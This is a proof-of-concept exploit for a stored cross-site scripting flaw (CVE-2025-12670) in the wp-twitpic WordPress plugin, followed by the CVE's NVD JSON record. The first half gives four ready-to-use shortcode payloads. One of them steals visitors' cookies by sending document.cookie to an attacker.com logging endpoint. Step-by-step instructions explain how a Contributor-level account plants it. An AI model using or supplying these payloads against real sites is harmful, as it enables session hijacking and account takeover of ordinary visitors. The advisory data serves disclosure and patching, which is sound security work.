CVE-2025-12670

<!-- WordPress Contributor+ Role Required --> <!-- PoC for CVE-2025-12670: wp-twitpic Stored XSS --> <!-- Method 1: Via Shortcode in Post/Page Content --> [twitpic]<img src=x onerror=alert(document.domain)>[/twitpic] <!-- Method 2: Via shortcode with user_id parameter --> [twitpic user_id="<script>alert('XSS')</script>"] <!-- Method 3: Via shortcode with media parameter --> [twitpic media="<svg onload=alert(document.cookie)>"] <!-- Method 4: More realistic payload for session hijacking --> [twitpic]<img src=x onerror=" var img=new Image(); img.src='https://attacker.com/log?c='+document.cookie; ">[/twitpic] <!-- Exploitation Steps: 1. Attacker with Contributor role creates/edits a post 2. Inserts malicious shortcode with XSS payload 3. Saves and publishes the post 4. Any user viewing the post triggers the XSS payload -->

{"cve": {"id": "CVE-2025-12670", "sourceIdentifier": "[email protected]", "published": "2025-11-27T03:15:57.933", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The wp-twitpic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters of the 'twitpic' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-twitpic/tags/1.0/wp-twitpic.php#L42", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-twitpic/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bb36fd27-bcea-481c-a7aa-815dc684ed8b?source=cve", "source": "[email protected]"}]}}